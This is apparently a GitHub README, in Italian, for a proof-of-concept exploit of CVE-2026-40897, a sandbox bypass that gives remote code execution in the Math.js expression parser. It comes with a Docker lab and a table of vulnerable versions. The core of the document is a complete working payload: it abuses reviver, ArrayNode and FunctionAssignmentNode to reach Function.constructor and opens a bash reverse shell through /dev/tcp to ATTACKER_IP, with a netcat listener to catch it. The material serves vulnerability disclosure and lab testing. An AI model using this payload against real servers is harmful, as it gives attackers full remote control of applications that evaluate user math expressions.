
Proof-of-concept exploit per CVE-2026-40897, un bypass del sandbox del parser di espressioni di Math.js che consente l'esecuzione di codice remoto tramite payload appositamente costruiti e un laboratorio Docker.
★ CVE-2026-40897 Esecuzione Remota di Codice in Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 è una vulnerabilità di Sandbox Bypass che porta all'Esecuzione Remota di Codice nel parser di espressioni di Math.js. Il filtro
isSafePropertycontrolla solo l'accesso alle proprietà dalle espressioni utente, non dai percorsi di codice interni. Sfruttando la fuga dell'array interno diArrayNodetramitetoJSON()e sovrascrivendo il suo.map, un attaccante può forzare il codice interno ad accedere aFunction.constructored eseguire JavaScript arbitrario.
| Categoria | Versione |
|---|---|
| Vulnerabile | Math.js 13.1.1 ≤ versione ≤ 15.1.1 |
| Corretta | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Dopo aver avviato l'ambiente vulnerabile, segui i passaggi seguenti per riprodurre l'attacco.
nc -lvnp 4444
Invia la seguente espressione a math.evaluate (ad esempio, tramite l'input di calcolo dell'applicazione).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Il server target si connette al listener dell'attaccante, fornendo una shell bash interattiva.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) attraverso il parser di espressioni